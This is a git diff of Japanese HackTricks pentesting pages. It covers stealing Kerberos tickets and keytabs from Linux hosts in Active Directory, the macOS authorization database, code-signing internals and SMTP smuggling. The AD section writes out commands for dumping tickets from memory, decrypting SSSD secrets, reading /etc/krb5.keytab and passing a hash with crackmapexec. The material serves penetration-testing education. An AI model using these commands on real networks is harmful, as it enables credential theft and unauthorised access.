Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
Linuxマシンは、Active Directory環境内にも存在する可能性があります。 Linuxマシンは、Active Directory環境内にも存在する可能性があります。
@ -27,9 +25,9 @@ AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に
### LinuxからのAD列挙 ### LinuxからのAD列挙
LinuxまたはWindowsのbashでADにアクセスできる場合、[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試してADを列挙できます。 LinuxまたはWindowsのbashでADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。
LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認できます LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認してください
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -43,9 +41,9 @@ FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**
[freeipa-pentesting.md](../freeipa-pentesting.md) [freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %} {% endcontent-ref %}
## チケットを使った遊び ## チケットの操作
### パス・ザ・チケット ### Pass The Ticket
このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、このCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、このCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます
@ -55,7 +53,7 @@ FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**
### /tmpからのCCACHEチケット再利用 ### /tmpからのCCACHEチケット再利用
CCACHEファイルは、**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式、`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。 CCACHEファイルは、**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに相当する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。 `env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。
```bash ```bash
@ -66,7 +64,7 @@ krb5cc_1000
# Prepare to use it # Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000 export KRB5CCNAME=/tmp/krb5cc_1000
``` ```
### CCACHE チケットの再利用とキーチェーン ### CCACHE チケットの再利用とキーチェーンからの抽出
**プロセスのメモリに保存された Kerberos チケットは抽出可能です**。特に、マシンの ptrace 保護が無効になっている場合(`/proc/sys/kernel/yama/ptrace_scope`)。この目的に役立つツールは [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) にあり、セッションに注入してチケットを `/tmp` にダンプすることで抽出を容易にします。 **プロセスのメモリに保存された Kerberos チケットは抽出可能です**。特に、マシンの ptrace 保護が無効になっている場合(`/proc/sys/kernel/yama/ptrace_scope`)。この目的に役立つツールは [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) にあり、セッションに注入してチケットを `/tmp` にダンプすることで抽出を容易にします。
@ -77,13 +75,13 @@ cd tickey/tickey
make CONF=Release make CONF=Release
/tmp/tickey -i /tmp/tickey -i
``` ```
この手順は、さまざまなセッションに注入を試み、抽出されたチケットを`/tmp`に`__krb_UID.ccache`という命名規則で保存することで成功を示します。 この手順は、さまざまなセッションに注入を試み、成功を示すために抽出されたチケットを `/tmp` `__krb_UID.ccache` という命名規則で保存します。
### SSSD KCMからのCCACHEチケット再利用 ### SSSD KCMからのCCACHEチケット再利用
SSSDは、`/var/lib/sss/secrets/secrets.ldb`のパスにデータベースのコピーを保持しています。対応するキーは、`/var/lib/sss/secrets/.secrets.mkey`のパスに隠しファイルとして保存されています。デフォルトでは、キーは**root**権限を持っている場合のみ読み取ることができます。 SSSDは、パス `/var/lib/sss/secrets/secrets.ldb` にデータベースのコピーを保持します。対応するキーは、パス `/var/lib/sss/secrets/.secrets.mkey` に隠しファイルとして保存されています。デフォルトでは、キーは **root** 権限を持っている場合のみ読み取ることができます。
\*\*`SSSDKCMExtractor` \*\*を--databaseおよび--keyパラメータで呼び出すと、データベースを解析し、**秘密を復号化**します。 \*\*`SSSDKCMExtractor` \*\* --database および --key パラメータで呼び出すと、データベースを解析し、**秘密を復号化**します。
```bash ```bash
git clone https://github.com/fireeye/SSSDKCMExtractor git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
@ -98,7 +96,7 @@ klist -k /etc/krb5.keytab
``` ```
### /etc/krb5.keytab からアカウントを抽出する ### /etc/krb5.keytab からアカウントを抽出する
サービスアカウントキーは、ルート権限で動作するサービスに不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。 サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。 keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。
```bash ```bash
@ -119,25 +117,24 @@ macOSでは、**`bifrost`**はkeytabファイル分析のためのツールと
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
``` ```
## 参考文献 ## 参考文献
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、練習する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、練習する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details> </details>
{% endhint %} {% endhint %}
## **認可データベース** ## **Athorizarions DB**
`/var/db/auth.db`にあるデータベースは、機密操作を実行するための権限を保存するために使用されす。これらの操作は完全に**ユーザースペース**で実行され、通常は**XPCサービス**によって使用され、特定のアクションを実行するために**呼び出し元クライアントが認可されているかどうか**をこのデータベースをチェックして確認します。 `/var/db/auth.db`にあるデータベースは、機密操作を実行するための権限を保存するために使用されるデータベースです。これらの操作は完全に**ユーザースペース**で実行され、通常は**XPCサービス**によって使用され、特定のアクションを実行するために**呼び出し元クライアントが認可されているかどうか**をこのデータベースをチェックして確認します。
最初にこのデータベースは`/System/Library/Security/authorization.plist`の内容から作成されます。その後、一部のサービスがこのデータベースに他の権限を追加または変更することがあります。 最初にこのデータベースは`/System/Library/Security/authorization.plist`の内容から作成されます。その後、一部のサービスがこのデータベースに他の権限を追加または変更することがあります。
@ -29,21 +29,21 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
* **name**: 認可システム内でルールを識別し参照するために使用される一意の名前。 * **name**: 認可システム内でルールを識別し参照するために使用される一意の名前。
* **type**: ルールのタイプを指定し、認可ロジックを定義するために1または2の値に制限されます。 * **type**: ルールのタイプを指定し、認可ロジックを定義するために1または2の値に制限されます。
* **class**: ルールを特定のクラスに分類し、正の整数であることを保証します。 * **class**: ルールを特定のクラスに分類し、正の整数であることを保証します。
* "allow"は許可、"deny"は拒否、"user"はグループプロパティがアクセスを許可するメンバーシップを示す場合、"rule"は満たすべきルールを配列で示し、"evaluate-mechanisms"は`mechanisms`配列に続き、これらは組み込みまたは`/System/Library/CoreServices/SecurityAgentPlugins/`または/Library/Security//SecurityAgentPlugins内のバンドルの名前です。 * "allow"は許可、"deny"は拒否、"user"はグループプロパティがアクセスを許可するメンバーシップを示す場合、"rule"は満たすべきルールを配列で示し、"evaluate-mechanisms"は`mechanisms`配列に続き、組み込みまたは`/System/Library/CoreServices/SecurityAgentPlugins/`または/Library/Security//SecurityAgentPlugins内のバンドルの名前です。
* **group**: グループベースの認可のためにルールに関連付けられたユーザーグループを示します。 * **group**: グループベースの認可のためにルールに関連付けられたユーザーグループを示します。
* **kofn**: "k-of-n"パラメータを表し、満たすべきサブルールの数を決定します。 * **kofn**: "k-of-n"パラメータを表し、満たすべきサブルールの数を決定します。
* **timeout**: ルールによって付与された認可が期限切れになるまでの秒数を定義します。 * **timeout**: ルールによって付与された認可が期限切れになるまでの秒数を定義します。
* **flags**: ルールの動作と特性を変更するさまざまなフラグを含みます。 * **flags**: ルールの動作と特性を変更するさまざまなフラグを含みます。
* **tries**: セキュリティを強化するために許可される認可試行の回数を制限します。 * **tries**: セキュリティを強化するために許可される認可試行の回数を制限します。
* **version**: ルールのバージョンを追跡し、バージョン管理と更新を行います。 * **version**: バージョン管理と更新のためにルールのバージョンを追跡します。
* **created**: ルールが作成されたタイムスタンプを記録し、監査目的で使用します。 * **created**: 監査目的のためにルールが作成されたタイムスタンプを記録します。
* **modified**: ルールに対する最後の変更のタイムスタンプを保存します。 * **modified**: ルールに対する最後の変更のタイムスタンプを保存します。
* **hash**: ルールのハッシュ値を保持し、その整合性を確保し、改ざんを検出します。 * **hash**: ルールの整合性を確保し、改ざんを検出するためのハッシュ値を保持します。
* **identifier**: ルールへの外部参照のためのUUIDなどの一意の文字列識別子を提供します。 * **identifier**: ルールへの外部参照のためのUUIDなどの一意の文字列識別子を提供します。
* **requirement**: ルールの特定の認可要件とメカニズムを定義するシリアライズされたデータを含みます。 * **requirement**: ルールの特定の認可要件とメカニズムを定義するシリアライズされたデータを含みます。
* **comment**: ドキュメントと明確さのためにルールに関する人間が読める説明またはコメントを提供します。 * **comment**: ドキュメントと明確さのためにルールに関する人間が読める説明またはコメントを提供します。
### ### Example
```bash ```bash
# List by name and comments # List by name and comments
sudo sqlite3 /var/db/auth.db "select name, comment from rules" sudo sqlite3 /var/db/auth.db "select name, comment from rules"
@ -88,13 +88,13 @@ security authorizationdb read com.apple.tcc.util.admin
``` ```
## Authd ## Authd
これは、クライアントが機密のアクションを実行するための承認リクエストを受け取るデーモンです。`XPCServices/`フォルダー内に定義されたXPCサービスとして機能し、ログは`/var/log/authd.log`に書き込まれます。 これは、クライアントが機密のアクションを実行するための承認要求を受け取るデーモンです。`XPCServices/`フォルダー内に定義されたXPCサービスとして機能し、ログは`/var/log/authd.log`に書き込まれます。
さらに、セキュリティツールを使用すると、多くの`Security.framework` APIをテストすることが可能です。例えば、`AuthorizationExecuteWithPrivileges`を実行するには、次のようにします: `security execute-with-privileges /bin/ls` さらに、セキュリティツールを使用すると、多くの`Security.framework` APIをテストすることが可能です。例えば、`AuthorizationExecuteWithPrivileges`を実行するには、次のようにします: `security execute-with-privileges /bin/ls`
これにより、`/usr/libexec/security_authtrampoline /bin/ls`がrootとしてフォークされ、lsをrootとして実行するための権限を求めるプロンプトが表示されます: これにより、`/usr/libexec/security_authtrampoline /bin/ls`がrootとしてフォークされ、lsをrootとして実行するための権限を求めるプロンプトが表示されます:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -17,11 +17,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## 基本情報 ## 基本情報
Mach-o バイナリには、バイナリ内の署名の **オフセット****サイズ** を示す **`LC_CODE_SIGNATURE`** というロードコマンドが含まれています。実際、GUIツールのMachOViewを使用すると、バイナリの最後にこの情報を含む **Code Signature** というセクションを見つけることができます: Mach-o バイナリには、バイナリ内の署名の **オフセット****サイズ** を示す **`LC_CODE_SIGNATURE`** というロードコマンドが含まれています。実際、GUIツールの MachOView を使用すると、バイナリの最後にこの情報を含む **Code Signature** というセクションを見つけることができます:
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Code Signatureのマジックヘッダーは **`0xFADE0CC0`** です。次に、これらを含むスーパーブロブの長さやブロブの数などの情報があります。\ Code Signature のマジックヘッダーは **`0xFADE0CC0`** です。次に、これらを含む superBlob の長さや blob の数などの情報があります。\
この情報は、[こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) で見つけることができます: この情報は、[こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) で見つけることができます:
```c ```c
/* /*
@ -58,7 +58,7 @@ __attribute__ ((aligned(1)));
## コードディレクトリブロブ ## コードディレクトリブロブ
[コードディレクトリブロブの宣言をコード内で見つけることができます](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104): [コードディレクトリブロブの宣言をコード内で見つけることができます](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
```c ```c
typedef struct __CodeDirectory { typedef struct __CodeDirectory {
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
@ -157,7 +157,7 @@ openssl sha256 /tmp/*.page.*
``` ```
## Entitlements Blob ## Entitlements Blob
アプリケーションにはすべての権限が定義された**エンタイトルメントブロブ**が含まれている場合があります。さらに、一部のiOSバイナリは、特別なスロット-7に特定の権限を持っている場合があります-5エンタイトルメント特別スロットの代わりに)。 アプリケーションにはすべての権限が定義された**権限ブロブ**が含まれている場合があります。さらに、一部のiOSバイナリは、特別なスロット-7に特定の権限を持っている場合があります-5権限特別スロットの代わりに)。
## Special Slots ## Special Slots
@ -169,13 +169,13 @@ MacOSアプリケーションは、バイナリ内で実行するために必要
* 要件のハッシュ * 要件のハッシュ
* リソースディレクトリのハッシュ(バンドル内の`_CodeSignature/CodeResources`ファイルのハッシュ)。 * リソースディレクトリのハッシュ(バンドル内の`_CodeSignature/CodeResources`ファイルのハッシュ)。
* アプリケーション固有(未使用) * アプリケーション固有(未使用)
* エンタイトルメントのハッシュ * 権限のハッシュ
* DMGコード署名のみ * DMGコード署名のみ
* DERエンタイトルメント * DER権限
## Code Signing Flags ## Code Signing Flags
すべてのプロセスには、カーネルによって開始される`status`として知られるビットマスクが関連付けられており、その一部は**コード署名**によって上書きされる可能性があります。これらのフラグは[コードで定義されています](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36) すべてのプロセスには、カーネルによって開始される`status`として知られるビットマスクが関連付けられており、その一部は**コード署名**によって上書きされる可能性があります。コード署名に含めることができるこれらのフラグは[コードで定義されています](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36)
```c ```c
/* code signing attributes of a process */ /* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */ #define CS_VALID 0x00000001 /* dynamically valid */
@ -226,7 +226,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis
各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **保持** しています。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。 各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **保持** しています。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。
バイナリの要件は **特別な文法** を使用し、**式** のストリームとして表現され、`0xfade0c00` をマジックとして使用してバイナリとしてエンコードされ、その **ハッシュは特別なコードスロットに保存されます** バイナリの要件は **特別な文法** を使用し、**式** のストリームであり、`0xfade0c00` をマジックとして使用してブロブとしてエンコードされ、その **ハッシュは特別なコードスロットに保存されます**
バイナリの要件は、次のコマンドを実行することで確認できます: バイナリの要件は、次のコマンドを実行することで確認できます:
@ -262,7 +262,7 @@ od -A x -t x1 /tmp/output.csreq
``` ```
{% endcode %} {% endcode %}
この情報にアクセスし、`Security.framework`のいくつかのAPIを使用して要件を作成または変更することが可能です この情報にアクセスし、`Security.framework`のいくつかのAPIを使用して要件を作成または変更することが可能です
#### **有効性の確認** #### **有効性の確認**
@ -285,8 +285,8 @@ od -A x -t x1 /tmp/output.csreq
#### **コード要件の変更** #### **コード要件の変更**
* **`SecCodeSignerCreate`**: コード署名操作を実行するための`SecCodeSignerRef`オブジェクトを作成します。 * **`SecCodeSignerCreate`**: コード署名操作を実行するための`SecCodeSignerRef`オブジェクトを作成します。
* **`SecCodeSignerSetRequirement`**: 署名中に適用するための新しい要件をコードサイナーに設定します。 * **`SecCodeSignerSetRequirement`**: 署名中に適用するための新しい要件をコード署名者に設定します。
* **`SecCodeSignerAddSignature`**: 指定されたサイナーで署名されるコードに署名を追加します。 * **`SecCodeSignerAddSignature`**: 指定された署名者で署名されるコードに署名を追加します。
#### **要件によるコードの検証** #### **要件によるコードの検証**
@ -308,7 +308,7 @@ od -A x -t x1 /tmp/output.csreq
## コード署名の強制 ## コード署名の強制
**カーネル**は、アプリのコードを実行する前に**コード署名を確認**します。さらに、メモリ内に新しいコードを書き込み実行するための一つの方法は、`mprotect`が`MAP_JIT`フラグで呼び出されることを悪用することです。この操作を行うには、アプリケーションに特別な権限が必要です。 **カーネル**は、アプリのコードを実行する前に**コード署名を確認**します。さらに、メモリ内に新しいコードを書き込み実行するための一つの方法は、`mprotect`が`MAP_JIT`フラグで呼び出されることを悪用することです。この操作を行うには、アプリケーションに特別な権限が必要です。
## `cs_blobs` & `cs_blob` ## `cs_blobs` & `cs_blob`
@ -384,8 +384,8 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,29 +17,29 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## 基本情報 ## 基本情報
このタイプの脆弱性は、[**この投稿で最初に発見されました**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)。ここでは、メールを最終的に送信する際のSMTPプロトコルの解釈の違いを**悪用することが可能である**と説明されています。これにより、攻撃者は正当なメールの本文に他のメールを密輸し、影響を受けたドメインの他のユーザー(例えばadmin@outlook.comを偽装することができ、SPFなどの防御を回避します。 このタイプの脆弱性は、[**この投稿で最初に発見されました**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) で説明されているように、メールを最終的に送信する際のSMTPプロトコルの解釈の違いを**悪用することが可能であり**、攻撃者が正当なメールの本文に他のメールを密輸することを可能にし、影響を受けたドメインの他のユーザー(例えば admin@outlook.comを偽装することができ、SPFなどの防御を回避します。
### なぜ ### なぜ
これは、SMTPプロトコルでは、メールで送信される**メッセージのデータ**がユーザー(攻撃者)によって制御されており、特別に作成されたデータを送信することで、受信者に追加のメールを密輸するためのパーサーの違いを悪用できるからです。元の投稿からのこの図解例を見てください: これは、SMTPプロトコルでは、メールで送信される**メッセージのデータ**がユーザー(攻撃者)によって制御されており、特別に作成されたデータを送信することで、受信者に追加のメールを密輸するためのパーサーの違いを悪用することができるからです。元の投稿からのこの図解例を見てください:
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### どのように ### どのように
この脆弱性を悪用するために、攻撃者は**Outbound SMTPサーバーが1通のメールだと考えるデータを送信し、Inbound SMTPサーバーが複数のメールがあると考える必要があります**。 この脆弱性を悪用するために、攻撃者は**Outbound SMTPサーバーが1通のメールだと考えるデータを送信する必要がありますが、Inbound SMTPサーバーは複数のメールがあると考えます**。
研究者たちは、異なる**Inboundサーバーがメールメッセージのデータの終わりとして異なる文字を考慮する**ことを発見しましたが、Outboundサーバーはそうではありません。\ 研究者たちは、異なる**Inboundサーバーがメールメッセージのデータの終わりとして異なる文字を考慮する**ことを発見しましたが、Outboundサーバーはそうではありません。\
例えば、データの通常の終わりは`\r\n.\r`です。しかし、Inbound SMTPサーバーが`\n.`もサポートしている場合、攻撃者はそのデータをメールに追加し、新しいメールを密輸するためのSMTPコマンドを指示し始めることができます。前の画像のように。 例えば、データの通常の終わりは `\r\n.\r` です。しかし、Inbound SMTPサーバーが `\n.` もサポートしている場合、攻撃者はそのデータをメールに追加し、新しいメールを密輸するためのSMTPコマンドを指示し始めることができます。前の画像のように。
もちろん、これは**Outbound SMTPサーバーがこのデータをメッセージデータの終わりとして扱わない場合にのみ機能します**。そうでない場合、1通ではなく2通のメールが見えるため、最終的にはこの脆弱性で悪用される非同期化が発生します。 もちろん、これは**Outbound SMTPサーバーがこのデータをメッセージデータの終わりとして扱わない場合にのみ機能します**。そうでない場合、1通ではなく2通のメールとして認識されるため、最終的にはこの脆弱性で悪用されている非同期化が発生します。
潜在的な非同期化データ: 潜在的な非同期化データ:
* `\n.` * `\n.`
* `\n.\r` * `\n.\r`
また、SPFが回避されることに注意してください。なぜなら、`user@outlook.com`から`admin@outlook.com`のメールを密輸すると、**送信者は依然として`outlook.com`だからです。** また、SPFが回避されることに注意してください。なぜなら、`user@outlook.com` から `admin@outlook.com` のメールを密輸すると、**送信者は依然として `outlook.com` だからです。**
## **参考文献** ## **参考文献**

View file

@ -1,23 +1,23 @@
# 161,162,10161,10162/udp - Pentesting SNMP # 161,162,10161,10162/udp - Pentesting SNMP
{% hint style="success" %} {% hint style="success" %}
